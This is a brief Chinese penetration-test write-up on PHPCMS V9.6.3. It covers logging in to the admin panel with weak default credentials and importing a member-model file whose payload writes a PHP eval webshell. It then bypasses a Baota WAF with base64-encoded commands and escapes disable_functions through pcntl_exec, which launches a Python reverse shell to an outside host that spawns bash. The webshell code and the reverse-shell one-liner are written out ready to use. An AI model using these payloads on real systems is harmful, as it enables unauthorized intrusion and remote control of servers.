PHPCMS V9.6.3渗透测试小记

http://xx.xx.com/index.php?m=admin 进入后台登录界面,弱口令phpcms/phpcms成功登录后台

先将如下payload保存至txt文本中

array(1);$b=file_put_contents("phpcms_shell3.php",'<?php eval($_REQUEST[1]);?>');

在用户 > 会员模型管理 > 管理会员模型 >中点击"添加会员模型":

导入模型添加刚刚创建的txt文本

上传后服务器会报错,但此时已生成phpcm_shell3.php脚本

尝试连接webshell发现连接失败

后发现此站点存在宝塔waf

此处按照文章思路,对命令采用base64编码进行传递

成功获得代码执行权限

发现disable_functions禁用大部分命令执行函数

尝试pcntl_exec突破disable_functions函数限制

将如下代码进行base64编码

pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("x.x.x.x",9898));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));

执行代码(虽然服务器返回404,但是命令已执行成功)

反弹shell成功

参考链接:https://zhuanlan.zhihu.com/p/60027711(phpcms后台几处getshell)

https://mp.weixin.qq.com/s/xX0Y9KA_LC7dy0zxCDBMJA(waf绕过及disable_functions函数绕过)

猜你喜欢

转载自www.cnblogs.com/str1ve/p/13381676.html